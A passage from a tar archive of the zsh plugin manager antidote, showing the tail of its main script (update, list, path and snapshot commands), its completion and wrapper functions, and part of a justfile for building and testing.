Colorize the SHA in each line while IFS= read -r line; do if [[ -n "$line" ]] && [[ "$line" == [[:alnum:]]* ]]; then say "${C_YELLOW}${line%% *}${C_NORMAL} ${line#* }" else say "$line" fi done < "$tmpfile" say "" fi done # cleanup temp dir [[ -d "$tmpdir" ]] && del "$tmpdir" if (( $#o_dry_run )); then say "${C_GREEN}Dry run complete. No changes were made.${C_NORMAL}" else say "${C_GREEN}Bundle updates complete.${C_NORMAL}" [[ "$ANTIDOTE_AUTOSNAPSHOT" == true ]] && snapshot_save >/dev/null fi say "" } ### Print where antidote is cloning bundles. # # usage: antidote home [-h|--help] # # Can be overridden by setting `$ANTIDOTE_HOME`. # antidote_home() { say "$ANTIDOTE_HOME" } ### Initialize the shell for dynamic bundles. # # usage: antidote init [-h|--help] # source <(antidote init) # # This function changes how the `antidote` command works by sourcing the results of # `antidote bundle` instead of just generating the Zsh script. # antidote_init() { say "#!/usr/bin/env zsh" say "function antidote {" say " case \"\$1\" in" say " bundle)" say " source <( ANTIDOTE_DYNAMIC=true antidote-dispatch \$@ ) || ANTIDOTE_DYNAMIC=true antidote-dispatch \$@" say " ;;" say " *)" say " ANTIDOTE_DYNAMIC=true antidote-dispatch \$@" say " ;;" say " esac" say "}" } ### List cloned bundles. # # usage: antidote list [-h|--help] [-l|--long] [-j|--jsonl] [-d|--dirs] [-u|--url] # antidote_list() { local o_help o_jsonl o_long o_dirs o_url zparseopts ${ZPARSEOPTS} -- \ h=o_help -help=h \ j=o_jsonl -jsonl=j \ l=o_long -long=l \ d=o_dirs -dirs=d \ u=o_url -url=u || return 1 if (( $# )); then die "antidote: error: unexpected $1, try --help" fi local bundledir url repo sha pin_ref local -a output=() local -a bundles=() bundles=(${(f)"$(find_bundles)"}) if (( ${#bundles[@]} == 0 )); then print_path $ANTIDOTE_HOME warn "antidote: list: no bundles found in '$REPLY'" return 0 fi for bundledir in "${bundles[@]}"; do url=$(git_url "$bundledir") || continue short_repo_name "$url"; repo=$REPLY if (( $#o_jsonl )); then sha=$(git_sha "$bundledir") pin_ref=$(git_config_get "$bundledir" antidote.pin) if [[ -n "$pin_ref" ]]; then printf '{"url":"%s","repo":"%s","path":"%s","sha":"%s","pin":"%s"}\n' \ "$url" "$repo" "$bundledir" "$sha" "$pin_ref" else printf '{"url":"%s","repo":"%s","path":"%s","sha":"%s"}\n' \ "$url" "$repo" "$bundledir" "$sha" fi continue elif (( $#o_long )); then sha=$(git_sha "$bundledir") pin_ref=$(git_config_get "$bundledir" antidote.pin) printf 'Repo: %s\n' "$repo" print_path "$bundledir"; printf 'Path: %s\n' "$REPLY" printf 'URL: %s\n' "$url" printf 'SHA: %s\n' "$sha" if [[ -n "$pin_ref" ]]; then printf 'Pinned: %s\n' "$pin_ref" fi print continue elif (( $#o_dirs )); then output+=("$bundledir") elif (( $#o_url )); then output+=("$url") else output+=("${bundledir}${TAB}${url}") fi done if (( $#output )); then printf '%s\n' ${(o)output} fi } ### Print the clone path of one or more bundles. antidote_path() { local bundle bundledir local -a results=() local -a bundles=("${(@f)$(collect_input "$@")}") if (( $#bundles == 0 )); then die "antidote: error: required argument 'bundle' not provided, try --help" fi for bundle in $bundles; do # Allow piping from `antidote list` default output: bundle=${bundle%%${TAB}*} if [[ $bundle == '$'* ]]; then bundle="${(e)bundle}" fi bundle_dir $bundle; bundledir=$REPLY if [[ ! -d $bundledir ]]; then die "antidote: error: $bundle does not exist in cloned paths" else results+=("$bundledir") fi done say $results } ### Save, restore, or list snapshots of cloned bundle state. # # usage: antidote snapshot [home|list|remove|restore|save] [] # antidote_snapshot() { setup_color local o_help subcmd zparseopts ${ZPARSEOPTS} -- h=o_help -help=h || return 1 if (( $#o_help )); then say "usage: antidote snapshot [home|list|remove|restore|save] []" return fi subcmd=${1:-list}; shift 2>/dev/null case "$subcmd" in home) echo "$ANTIDOTE_SNAPSHOT_DIR" ;; list) snapshot_list ;; remove) snapshot_remove "$@" ;; restore) snapshot_restore "$@" ;; save) snapshot_save "$@" ;; *) die "antidote: snapshot: unknown subcommand '$subcmd'" ;; esac } ### Write a snapshot of all cloned bundles to a timestamped file. snapshot_save() { local bundledir url sha repo snapshot_file epoch local -a bundles bundle_lines [[ "$ANTIDOTE_DYNAMIC" == true ]] && return 0 [[ -d "$ANTIDOTE_SNAPSHOT_DIR" ]] || mkdir -p "$ANTIDOTE_SNAPSHOT_DIR" zstyle -s ':antidote:test:snapshot' epoch epoch || epoch=$EPOCHSECONDS snapshot_file=${1:-$ANTIDOTE_SNAPSHOT_DIR/snapshot-$(TZ=UTC strftime '%Y%m%d-%H%M%SZ' $epoch).txt} bundles=(${(f)"$(find_bundles)"}) for bundledir in "${bundles[@]}"; do url=$(git_url "$bundledir") || continue sha=$(git_sha "$bundledir") short_repo_name "$url"; repo=$REPLY bundle_lines+=("$repo kind:clone pin:$sha") done { print "# antidote snapshot" print "# version: $ANTIDOTE_VERSION" print "# date: $(TZ=UTC strftime '%Y-%m-%dT%H:%M:%SZ' $epoch)" printf '%s\n' ${(o)bundle_lines} } >| "$snapshot_file" say "Snapshot saved: $snapshot_file" # Prune old snapshots snapshot_prune } ### Prune snapshots beyond the configured max. snapshot_prune() { local -a snapshots to_remove snapshots=($ANTIDOTE_SNAPSHOT_DIR/snapshot-*.txt(N)) if (( $#snapshots > ANTIDOTE_SNAPSHOT_MAX )); then to_remove=(${(o)snapshots[1,$(( $#snapshots - ANTIDOTE_SNAPSHOT_MAX ))]}) del $to_remove fi } ### Set color-related globals needed for interactive features (fzf previews, etc). setup_color() { typeset -g ANTIDOTE_COLOR C_BLUE C_GREEN C_YELLOW C_NORMAL typeset -g ANTIDOTE_BAT_CMD ANTIDOTE_BAT_LANG ANTIDOTE_BAT_OPTS if supports_color; then ANTIDOTE_COLOR=true C_BLUE=$'\E[34m' C_GREEN=$'\E[32m' C_YELLOW=$'\E[33m' C_NORMAL=$'\E[0m' fi [[ "$ANTIDOTE_COLOR" == true ]] && command -v bat >/dev/null 2>&1 || return 0 ANTIDOTE_BAT_CMD=bat if bat --list-languages 2>/dev/null | grep -q 'Antidote Bundle'; then ANTIDOTE_BAT_LANG='Antidote Bundle' else ANTIDOTE_BAT_LANG=properties fi : ${ANTIDOTE_BAT_OPTS:="--color=always -l '${ANTIDOTE_BAT_LANG}'"} } ### Check for an fzf picker, warning and returning 1 if unavailable. snapshot_try_picker() { local -a fzf_cmd fzf_cmd=(${(z)ANTIDOTE_FZF_CMD}) if (( ${#fzf_cmd} == 0 )) || ! command -v -- "${fzf_cmd[1]}" >/dev/null 2>&1; then warn "antidote: snapshot: no snapshot file specified (use 'antidote snapshot list' to see available snapshots)" return 1 fi } ### Interactive fzf snapshot picker. Prints selected file path(s) to stdout. # Usage: snapshot_pick "label" [--multi] snapshot_pick() { setopt localoptions pipefail local label="$1" snap date_line epoch preview_cmd local -a snapshots labels fzf_opts fzf_cmd snapshots=($ANTIDOTE_SNAPSHOT_DIR/snapshot-*.txt(NOn)) if (( $#snapshots == 0 )); then warn "antidote: snapshot: no snapshots found" return 1 fi fzf_cmd=(${(z)ANTIDOTE_FZF_CMD}) preview_cmd='echo {2}; echo; tail -n +4 {2}' if [[ -n "$ANTIDOTE_BAT_CMD" ]]; then preview_cmd="BAT_OPTS=${(q)ANTIDOTE_BAT_OPTS} bat {2}" elif [[ "$ANTIDOTE_COLOR" == true ]]; then preview_cmd=' printf "\033[1;4m%s\033[0m\n\n" {2} tail -n +4 {2} | awk "{ colors[0] = \"\033[34m\"; # blue colors[1] = \"\033[32m\"; # green colors[2] = \"\033[33m\"; # yellow # first field = repo (no key) printf \"%s%s\033[0m \", colors[0], \$1; # remaining fields = key:value for (i=2; i<=NF; i++) { split(\$i, kv, \":\"); key = kv[1]; val = kv[2]; color = colors[(i-1)%3]; printf \"%s:%s%s\033[0m \", key, color, val; } printf \"\n\"; }" ' fi for snap in $snapshots; do date_line=${${(f)"$(<$snap)"}[3]#\# date: } if TZ=UTC strftime -r -s epoch '%Y-%m-%dT%H:%M:%SZ' "$date_line" 2>/dev/null; then date_line=$(strftime "$ANTIDOTE_SNAPSHOT_DATEFMT" $epoch) fi labels+=("$date_line $snap") done : ${ANTIDOTE_FZF_DEFAULT_OPTS:="--border=top --preview-window=right:75%"} fzf_opts=(--no-sort ${C_NORMAL:+--ansi} --with-nth=1 --delimiter=$'\t' --prompt="❯ " --border-label=" $label " --preview="$preview_cmd") if [[ "$2" == --multi ]]; then fzf_opts+=(--multi --marker='* ' --color='marker:red') fi printf '%s\n' $labels \ | FZF_DEFAULT_OPTS=$ANTIDOTE_FZF_DEFAULT_OPTS \ FZF_DEFAULT_OPTS_FILE=$ANTIDOTE_FZF_DEFAULT_OPTS_FILE \ "${fzf_cmd[@]}" $fzf_opts \ | cut -f2 \ || { warn "antidote: snapshot: no snapshot selected"; return 1; } } ### Restore bundles from a snapshot file. snapshot_restore() { local snapshot_file="$1" local line bundle pin if [[ -z "$snapshot_file" ]]; then snapshot_try_picker || return 1 snapshot_file=$(snapshot_pick "Select snapshot to restore") || return 1 fi if [[ ! -r "$snapshot_file" ]]; then die "antidote: snapshot: file not found '$snapshot_file'" fi say "Restoring from snapshot: $snapshot_file" while IFS= read -r line; do [[ "$line" == \#* || -z "$line" ]] && continue bundle=${line%% *} pin=${line##*pin:} pin=${pin%% *} say "${C_BLUE}antidote:${C_NORMAL} restoring $bundle (${C_GREEN}${pin[1,7]}...${C_NORMAL})" ANTIDOTE_EPHEMERAL_PIN=true antidote_bundle "$line" &>/dev/null & done <"$snapshot_file" wait say "${C_GREEN}Restore complete.${C_NORMAL}" } ### List available snapshots. snapshot_list() { local -a snapshots snapshots=($ANTIDOTE_SNAPSHOT_DIR/snapshot-*.txt(N)) if (( $#snapshots == 0 )); then say "No snapshots found." return fi printf '%s\n' ${(O)snapshots} } ### Remove snapshots. snapshot_remove() { local snap REPLY local -a selected if [[ -n "$1" ]]; then for snap in "$@"; do if [[ ! -r "$snap" ]]; then warn "antidote: snapshot: file not found '$snap'" continue fi del "$snap" say "Removed: $snap" done return fi snapshot_try_picker || return 1 selected=("${(@f)$(snapshot_pick "Select snapshot(s) to remove" --multi)}") \ || return 1 say "Snapshots to remove:" for snap in $selected; do say " $snap" done zstyle -s ':antidote:test:snapshot:remove' answer 'REPLY' || { read -q "REPLY?Are you sure you want to remove ${#selected} snapshot(s) [Y/n]? " print } if [[ ${REPLY:u} != "Y" ]]; then say "Cancelled." return 1 fi for snap in $selected; do del "$snap" say "Removed: $snap" done } ### Dispatcher for antidote __private__ commands (used in tests and internals). # # Parses stdin into the bundle matrix for commands that need it, and prints # REPLY/reply for commands that return via those vars. # private_dispatcher() { local cmd err cmd="$1"; shift REPLY= case $cmd in bundle_check_critical|bundle_scripter|zsh_script) bundle_parser < <(collect_input "$@") ;; esac "${cmd}" "$@" err=$? case $cmd in tourl|bundle_type|short_repo_name|bundle_name|bundle_dir|__bundle_dir_by_style|print_path) say "$REPLY" ;; initfiles) (( $#reply )) && printf '%s\n' "${reply[@]}" ;; esac return $err } antidote() { local o_help o_version o_diagnostics zparseopts ${ZPARSEOPTS} -- \ h=o_help -help=h \ v=o_version -version=v \ -diagnostics=o_diagnostics || return 1 if (( ${#o_version} )); then version return 0 fi if (( ${#o_diagnostics} )); then diagnostics return 0 fi if (( ${#o_help} )) || [[ ${#} -eq 0 ]]; then usage return fi local cmd=$1; shift if [[ "$cmd" == __private__ ]]; then private_dispatcher "$@" return $? elif (( $+functions[antidote_${cmd}] )); then "antidote_${cmd}" "$@" return $? else die "antidote: command not found '${cmd}'" fi } # Initialize antidote global variables from zstyles and environment. () { typeset -g ANTIDOTE_ZSH="$1" typeset -g ANTIDOTE_VERSION="2.1.0" typeset -g ANTIDOTE_TMPDIR=${ANTIDOTE_TMPDIR:-$TMPDIR} typeset -g ANTIDOTE_GIT_SITE ANTIDOTE_GIT_PROTOCOL ANTIDOTE_GIT_CMD ANTIDOTE_FZF_CMD ANTIDOTE_PATH_STYLE typeset -g ANTIDOTE_FZF_DEFAULT_OPTS ANTIDOTE_FZF_DEFAULT_OPTS_FILE ANTIDOTE_BAT_OPTS typeset -g ANTIDOTE_DEFER_BUNDLE ANTIDOTE_FPATH_RULE typeset -g ANTIDOTE_OSTYPE ANTIDOTE_LOCALAPPDATA typeset -g ANTIDOTE_VERSION_SHOW_SHA=true ANTIDOTE_GIT_AUTOSTASH=true zstyle -s ':antidote:bundle' path-style ANTIDOTE_PATH_STYLE || ANTIDOTE_PATH_STYLE=full zstyle -s ':antidote:defer' bundle ANTIDOTE_DEFER_BUNDLE || ANTIDOTE_DEFER_BUNDLE=romkatv/zsh-defer zstyle -s ':antidote:fpath' rule ANTIDOTE_FPATH_RULE || ANTIDOTE_FPATH_RULE=append zstyle -s ':antidote:fzf' cmd ANTIDOTE_FZF_CMD || ANTIDOTE_FZF_CMD=fzf zstyle -s ':antidote:fzf' opts ANTIDOTE_FZF_DEFAULT_OPTS zstyle -s ':antidote:fzf' opts_file ANTIDOTE_FZF_DEFAULT_OPTS_FILE zstyle -s ':antidote:bat' opts ANTIDOTE_BAT_OPTS zstyle -s ':antidote:git' cmd ANTIDOTE_GIT_CMD || ANTIDOTE_GIT_CMD=git zstyle -s ':antidote:git' protocol ANTIDOTE_GIT_PROTOCOL || ANTIDOTE_GIT_PROTOCOL=https zstyle -s ':antidote:git' site ANTIDOTE_GIT_SITE || ANTIDOTE_GIT_SITE=github.com zstyle -s ':antidote:test:env' LOCALAPPDATA ANTIDOTE_LOCALAPPDATA || ANTIDOTE_LOCALAPPDATA="${LOCALAPPDATA:-$LocalAppData}" zstyle -s ':antidote:test:env' OSTYPE ANTIDOTE_OSTYPE || ANTIDOTE_OSTYPE=$OSTYPE zstyle -T ':antidote:test:git' autostash || ANTIDOTE_GIT_AUTOSTASH=false zstyle -T ':antidote:test:version' show-sha || ANTIDOTE_VERSION_SHOW_SHA=false # Legacy use of friendly names overrides all if zstyle -t ':antidote:bundle' use-friendly-names; then ANTIDOTE_PATH_STYLE=short fi typeset -g ANTIDOTE_HOME if [[ -z "$ANTIDOTE_HOME" ]]; then zstyle -s ':antidote:home' dir ANTIDOTE_HOME || ANTIDOTE_HOME=$(get_cachedir antidote) fi typeset -g ANTIDOTE_SNAPSHOT_DIR ANTIDOTE_SNAPSHOT_MAX ANTIDOTE_SNAPSHOT_DATEFMT ANTIDOTE_AUTOSNAPSHOT=false zstyle -s ':antidote:snapshot' dir ANTIDOTE_SNAPSHOT_DIR || ANTIDOTE_SNAPSHOT_DIR=$(get_datadir antidote)/snapshots zstyle -s ':antidote:snapshot' max ANTIDOTE_SNAPSHOT_MAX || ANTIDOTE_SNAPSHOT_MAX=100 zstyle -s ':antidote:snapshot' dateformat ANTIDOTE_SNAPSHOT_DATEFMT || ANTIDOTE_SNAPSHOT_DATEFMT='%Y-%m-%d %H:%M:%S %Z' zstyle -T ':antidote:snapshot:automatic' enabled && ANTIDOTE_AUTOSNAPSHOT=true ANTIDOTE_SNAPSHOT_DIR=${~ANTIDOTE_SNAPSHOT_DIR} typeset -gA _antidote_using_context [[ -n "$ANTIDOTE_USING_CTX" ]] && eval "$ANTIDOTE_USING_CTX" } "${0:A}" ANTIDOTE_HELP=$( cat <<'EOS' antidote - the cure to slow zsh plugin management usage: antidote [] [ ...] flags: -h, --help Show context-sensitive help -v, --version Show application version --diagnostics Show antidote and system diagnostics commands: bundle Clone bundle(s) and generate the static load script install Clone a new bundle and add it to your plugins file update Update antidote and its cloned bundles purge Remove a cloned bundle home Print where antidote is cloning bundles list List cloned bundles path Print the path of a cloned bundle snapshot Save, restore, or list bundle snapshots init Initialize the shell for dynamic bundles EOS ) antidote "$@" ERR=$? # Internal profiling support if [[ -n "$ANTIDOTE_PROFILE" ]]; then zprof >> "${ANTIDOTE_PROFILE_OUT:-/tmp/antidote-profile.zprof}" fi [[ "$ERR" -eq 0 ]] || exit $ERR mattmc3-antidote-4913257/functions/000077500000000000000000000000001516600341500171005ustar00rootroot00000000000000mattmc3-antidote-4913257/functions/_antidote000066400000000000000000000112141516600341500207700ustar00rootroot00000000000000#compdef antidote function _antidote_subcommands { local usage=$( antidote --help | command awk ' BEGIN{OFS=":"; p=0} /^commands:$/ {p=1; next} !p{next} { for(i=3; i<=NF; i++) { $2=$2" "$i } } { print $1,$2 } ' ) local -a subcommands=("${(@f)usage}") _describe -t subcommands 'subcommand' subcommands "$@" } function _antidote_installed_bundles { local -a bundles=("${(@f)$(antidote list --url | awk -F'/' '{print $(NF-1)"/"$NF}')}") _describe 'installed bundles' bundles } function _antidote_bundle_kinds { local -a kinds=( 'autoload' 'clone' 'defer' 'fpath' 'path' 'zsh' ) _describe 'bundle kinds' kinds } function _antidote { typeset -A opt_args local context state line local curcontext="$curcontext" local ret=1 _arguments -C \ '(- *)'{-v,--version}'[Show version]' \ '(- *)'{-h,--help}'[Show usage information]' \ '(- *)--diagnostics[Show antidote and system diagnostics]' \ '1: :_antidote_subcommands' \ '*:: :->subcmds' && return 0 case "$state" in (subcmds) case $words[1] in (bundle) _arguments \ '(- *)'{-h,--help}'[Show usage information]' \ && ret=0 ;; (help) _arguments \ '(- *)'{-h,--help}'[Show usage information]' \ && ret=0 ;; (home) _arguments \ '(- *)'{-h,--help}'[Show usage information]' \ && ret=0 ;; (init) _arguments \ '(- *)'{-h,--help}'[Show usage information]' \ && ret=0 ;; (install) _arguments \ '(- *)'{-h,--help}'[Show usage information]' \ '(-k --kind)'{-k,--kind}'[The kind of bundle]:kinds:_antidote_bundle_kinds' \ '(-p --path)'{-p,--path}'[A relative subpath within the bundle where the plugin is located]' \ '(-a --autoload)'{-a,--autoload}'[A relative subpath within the bundle where autoload function files are located]' \ '(-c --conditional)'{-c,--conditional}'[A conditional function used to check whether to load the bundle]' \ '(-b --branch)'{-b,--branch}'[The git branch to use]' \ '(--pin)--pin[Pin the bundle to a specific commit SHA]' \ '(--pre)--pre[A function to be called prior to loading the bundle]' \ '(--post)--post[A function to be called after loading the bundle]' \ && ret=0 ;; (list) _arguments \ '(- *)'{-h,--help}'[Show usage information]' \ '(-l --long)'{-l,--long}'[Show detailed information for each bundle]' \ '(-d --dirs)'{-d,--dirs}'[Show bundle directory paths]' \ '(-u --url)'{-u,--url}'[Show bundle URLs only]' \ '(-j --jsonl)'{-j,--jsonl}'[Output the bundle list in JSONL format]' \ && ret=0 ;; (load) _arguments \ '(- *)'{-h,--help}'[Show usage information]' \ && ret=0 ;; (path) _arguments \ '(- *)'{-h,--help}'[Show usage information]' \ && ret=0 ;; (purge) _arguments \ '(- *)'{-h,--help}'[Show usage information]' \ '(-a --all)'{-a,--all}'[Purge all cloned bundles]' \ "*::antidote bundles:_antidote_installed_bundles" \ && ret=0 ;; (snapshot) if (( CURRENT == 2 )); then local -a snapshot_cmds=( 'home:Show the snapshot directory' 'list:List available snapshots' 'remove:Remove snapshots' 'restore:Restore bundles from a snapshot' 'save:Save a snapshot of all cloned bundles' ) _describe 'snapshot command' snapshot_cmds && ret=0 elif (( CURRENT == 3 )) && [[ "$words[2]" == (restore|remove) ]]; then local -a snaps=("${(@f)$(antidote snapshot list 2>/dev/null)}") if (( $#snaps )); then compadd -V unsorted -a snaps && ret=0 fi fi ;; (update) _arguments \ '(- *)'{-h,--help}'[Show usage information]' \ '(-s --self)'{-s,--self}'[Update antidote]' \ '(-b --bundles)'{-b,--bundles}'[Update bundles]' \ '(-n --dry-run)'{-n,--dry-run}'[Check for updates without making changes]' \ && ret=0 ;; (*) _arguments \ '(- *)'{-h,--help}'[Show usage information]' \ '*: :_files' \ && ret=0 ;; esac ;; esac return ret } _antidote "$@" # vim: ft=zsh sw=2 ts=2 et mattmc3-antidote-4913257/functions/antidote000066400000000000000000000005211516600341500206300ustar00rootroot00000000000000#!/bin/zsh ### antidote - the cure to slow zsh plugin management # # https://antidote.sh # run `antidote -h` for usage # # Note: this gets overridden if using `antidote init`. # #function antidote { 0=${(%):-%x} if ! typeset -f antidote-dispatch > /dev/null; then source ${0:A:h:h}/antidote.zsh fi antidote-dispatch "$@" #} mattmc3-antidote-4913257/functions/antidote-dispatch000066400000000000000000000034511516600341500224320ustar00rootroot00000000000000#!/bin/zsh ### The antidote dispatcher. # This allows the `antidote` function to be overridden via `antidote init`. # The init command switches antidote from static mode to dynamic mode, but this # core dispatcher remains. #function antidote-dispatch { 0=${(%):-%x} [[ -o KSH_ARRAYS ]] && __adote_ksh_arrays=1 && unsetopt KSH_ARRAYS [[ -o SH_GLOB ]] && __adote_sh_glob=1 && unsetopt SH_GLOB __antidote_dispatch_usage() { antidote-zsh __private__ usage print -r -- " help Show documentation" print -r -- " load Statically source all bundles from the plugins file" } local ret=0 if [[ "$1" == "__private__" ]]; then # Route __private__ directly to antidote-zsh subprocess antidote-zsh "$@" ret=$? elif [[ -z "$1" ]]; then __antidote_dispatch_usage ret=2 elif [[ "$1" == -h || "$1" == --help ]]; then __antidote_dispatch_usage elif [[ "$1" == -* ]]; then # Flags like --version, --diagnostics go to subprocess antidote-zsh "$@" ret=$? else local cmd=$1; shift if (( $+functions[antidote-${cmd}] )); then # Commands with parent-shell wrappers: help, load, update antidote-${cmd} "$@" ret=$? else # Check for -h/--help on any subcommand local -a o_help=() zparseopts ${_adote_zparopt_flags} -- h=o_help -help=h 2>/dev/null if (( $#o_help )); then antidote-help "$cmd" ret=$? elif [[ "$cmd" == path ]]; then set -- "${(@e)@}" # Expand variables in parent shell context antidote-zsh "$cmd" "$@" ret=$? else antidote-zsh "$cmd" "$@" ret=$? fi fi fi (( __adote_ksh_arrays )) && __adote_ksh_arrays=0 && setopt KSH_ARRAYS (( __adote_sh_glob )) && __adote_sh_glob=0 && setopt SH_GLOB return $ret #} mattmc3-antidote-4913257/functions/antidote-help000066400000000000000000000016341516600341500215640ustar00rootroot00000000000000#!/bin/zsh ### Show antidote documentation. # # When called with no arguments, shows the antidote man page. # When called with a topic, shows the man page for that topic. # #function antidote-help { __antidote_usage() { antidote-zsh __private__ usage print -r -- " help Show documentation" print -r -- " load Statically source all bundles from the plugins file" } local manpage if [[ "$1" == -h || "$1" == --help ]]; then manpage=antidote-help elif [[ -z "$1" || "$1" == antidote ]]; then manpage=antidote else manpage="antidote-${1}" fi if (( $+commands[man] )); then if man "$manpage" 2>/dev/null; then return 0 fi fi if [[ "$manpage" != antidote && "$manpage" != antidote-help ]]; then printf '%s\n' "No manual entry for $manpage" fi __antidote_usage [[ "$manpage" == antidote || "$manpage" == antidote-help ]] && return 0 return 1 #} mattmc3-antidote-4913257/functions/antidote-load000066400000000000000000000037531516600341500215570ustar00rootroot00000000000000#!/bin/zsh ### Statically source all bundles from the plugins file. #function antidote-load { if [[ "$1" == -h || "$1" == --help ]]; then antidote-help load return $? fi local ret=0 typeset -g REPLY= () { emulate -L zsh setopt local_options extended_glob no_monitor pipefail if zstyle -t ':antidote:tests' set-warn-options; then setopt warn_create_global warn_nested_var fi local bundlefile="$1" if [[ -z "$bundlefile" ]]; then zstyle -s ':antidote:bundle' file 'bundlefile' || bundlefile=${ZDOTDIR:-$HOME}/.zsh_plugins.txt fi local staticfile="$2" if [[ -z "$staticfile" ]]; then zstyle -s ':antidote:static' file 'staticfile' if [[ -z "$staticfile" ]]; then if [[ -z "$bundlefile:t:r" ]]; then staticfile=${bundlefile}.zsh else staticfile=${bundlefile:r}.zsh fi fi fi if [[ ! -e "$bundlefile" ]]; then print -ru2 -- "antidote: bundle file not found '$bundlefile'." return 1 elif [[ "$bundlefile" == "$staticfile" ]]; then print -ru2 -- "antidote: bundle file and static file are the same '$bundlefile'." return 1 fi local force_bundle=0 if ! zstyle -t ':antidote:load:checkfile' disabled; then local loadable_check_path="$(antidote home)/.antidote.load" if [[ ! -e $loadable_check_path ]]; then force_bundle=1 [[ -d $loadable_check_path:h ]] || mkdir -p $loadable_check_path:h touch $loadable_check_path fi fi if [[ ! $staticfile -nt $bundlefile ]] || [[ $force_bundle -eq 1 ]]; then mkdir -p "${staticfile:A:h}" antidote bundle <"$bundlefile" >|"$staticfile" if [[ -r "${staticfile}.zwc" ]] && ! zstyle -t ':antidote:static' zcompile; then antidote-zsh __private__ del -f -- "${staticfile}.zwc" fi fi typeset -g REPLY=$staticfile } "$@" || ret=$? [[ -f "$REPLY" ]] && source "$REPLY" || ret=${ret:-2} unset REPLY return ${ret:-$?} #} mattmc3-antidote-4913257/functions/antidote-setup000066400000000000000000000020461516600341500217720ustar00rootroot00000000000000#!/bin/zsh ### Setup antidote. #function antidote-setup { 0=${(%):-%x} typeset -gH ANTIDOTE_ZSH="${0:a:h:h}/antidote.zsh" fpath=( "${0:A:h}" $fpath ) local fn for fn in ${0:A:h}/*; do [[ ${fn:t} != 'antidote-setup' ]] || continue if typeset -f ${fn:t} > /dev/null; then unfunction -- ${fn:t} fi # autoload extensionless function files [[ -z "${fn:e}" ]] && autoload -Uz "${fn}" done # man pages if [[ "$MANPATH" != *"${0:A:h:h}/man"* ]]; then export MANPATH="${0:A:h:h}/man:$MANPATH" fi builtin autoload -Uz is-at-least if is-at-least 5.8; then # -D : Delete flags from the param array once they are detected # -M : Map a flag to alternative names (useful for defining -s(hort) and --long options) # -F : Fail if a flag is provided that was not defined in the zparseopts spec # the -F option was added in 5.8 typeset -gHa _adote_zparopt_flags=( -D -M -F ) else typeset -gHa _adote_zparopt_flags=( -D -M ) fi typeset -gHi __adote_ksh_arrays typeset -gHi __adote_sh_glob #} mattmc3-antidote-4913257/functions/antidote-update000066400000000000000000000025421516600341500221150ustar00rootroot00000000000000#!/bin/zsh ### Update antidote and/or bundles. #function antidote-update { 0=${(%):-%x} if [[ "$1" == -h || "$1" == --help ]]; then antidote-help update return $? fi local o_self o_bundles o_dry_run zparseopts ${_adote_zparopt_flags} -- \ s=o_self -self=s \ b=o_bundles -bundles=b \ n=o_dry_run -dry-run=n 2>/dev/null # bundle update via subprocess (pass through flags it understands) local -a o_passthru=( $o_dry_run ) local ret=0 if (( $#o_bundles )) || ! (( $#o_self )); then antidote-zsh update "${o_passthru[@]}" ret=$? fi # self-update in parent shell if (( $#o_self )) || ! (( $#o_bundles )); then local antidote_dir="${0:A:h:h}" if (( $#o_dry_run )); then print "antidote: skipping self-update (dry run)" elif [[ -d "${antidote_dir}/.git" ]]; then print "Updating antidote..." git -C "$antidote_dir" pull --quiet --ff --rebase 2>/dev/null # re-setup antidote to pick up new version (( $+functions[antidote-setup] )) && unfunction antidote-setup builtin autoload -Uz ${0:A:h}/antidote-setup antidote-setup print "antidote self-update complete." print "" antidote --version else print "Self updating is disabled in this build." print "Use your OS package manager to update antidote itself." fi fi return $ret #} mattmc3-antidote-4913257/functions/antidote-zsh000066400000000000000000000005761516600341500214440ustar00rootroot00000000000000#!/bin/zsh ### Run antidote.zsh in a subprocess. #function antidote-zsh { emulate -L zsh; setopt local_options ANTIDOTE_ZSTYLES="$(zstyle -L ':antidote:*')" \ ANTIDOTE_HOME="${ANTIDOTE_HOME}" \ ANTIDOTE_TMPDIR="${TMPDIR}" \ ANTIDOTE_DYNAMIC="${ANTIDOTE_DYNAMIC}" \ ANTIDOTE_USING_CTX="$(typeset -p _antidote_using_context 2>/dev/null)" \ zsh "$ANTIDOTE_ZSH" "$@" #} mattmc3-antidote-4913257/justfile000066400000000000000000000132121516600341500166370ustar00rootroot00000000000000# antidote - the cure to slow zsh plugin management set shell := ["zsh", "-c"] # display this justfile's help information [private] default: @just --list # run build tasks (man pages, tests) build: ./tools/buildman ./tools/run-clitests # rebuild man pages buildman: ./tools/buildman # build and bump revision version release: ./tools/buildman ./tools/run-clitests ./tools/bumpver revision # run only unittests (env: "latest", "542", or "local") test env="latest": #!/usr/bin/env zsh if [[ "{{env}}" == "local" ]]; then ./tools/run-clitests --unit elif [[ "{{env}}" == "542" ]]; then podman run --rm -v "$PWD:/workspace:z" antidote-zsh542 \ /usr/local/bin/zsh -c 'cd /workspace && just test local' elif [[ "{{env}}" == "latest" ]]; then podman run --rm -v "$PWD:/workspace:z" antidote-zsh-latest \ /bin/zsh -c 'cd /workspace && just test local' else print -ru2 "just: invalid env '{{env}}' — expected 'latest', '542', or 'local'" exit 1 fi # run a specific test file (env: "latest", "542", or "local") test-file testfile env="latest": #!/usr/bin/env zsh if [[ "{{env}}" == "local" ]]; then ./tools/run-clitests "{{testfile}}" elif [[ "{{env}}" == "542" ]]; then podman run --rm -v "$PWD:/workspace:z" antidote-zsh542 \ /usr/local/bin/zsh -c 'cd /workspace && ./tools/run-clitests "{{testfile}}"' elif [[ "{{env}}" == "latest" ]]; then podman run --rm -v "$PWD:/workspace:z" antidote-zsh-latest \ /bin/zsh -c 'cd /workspace && ./tools/run-clitests "{{testfile}}"' else print -ru2 "just: invalid env '{{env}}' — expected 'latest', '542', or 'local'" exit 1 fi # run all tests (env: "latest", "542", or "local") test-all env="latest": #!/usr/bin/env zsh if [[ "{{env}}" == "local" ]]; then ./tools/run-clitests elif [[ "{{env}}" == "542" ]]; then podman run --rm -v "$PWD:/workspace:z" antidote-zsh542 \ /usr/local/bin/zsh -c 'cd /workspace && just test-all local' elif [[ "{{env}}" == "latest" ]]; then podman run --rm -v "$PWD:/workspace:z" antidote-zsh-latest \ /bin/zsh -c 'cd /workspace && just test-all local' else print -ru2 "just: invalid env '{{env}}' — expected 'latest', '542', or 'local'" exit 1 fi # run only test_real*.md (env: "latest", "542", or "local") test-real env="latest": #!/usr/bin/env zsh if [[ "{{env}}" == "local" ]]; then ./tools/run-clitests tests/test_real*.md elif [[ "{{env}}" == "542" ]]; then podman run --rm -v "$PWD:/workspace:z" antidote-zsh542 \ /usr/local/bin/zsh -c 'cd /workspace && just test-real local' elif [[ "{{env}}" == "latest" ]]; then podman run --rm -v 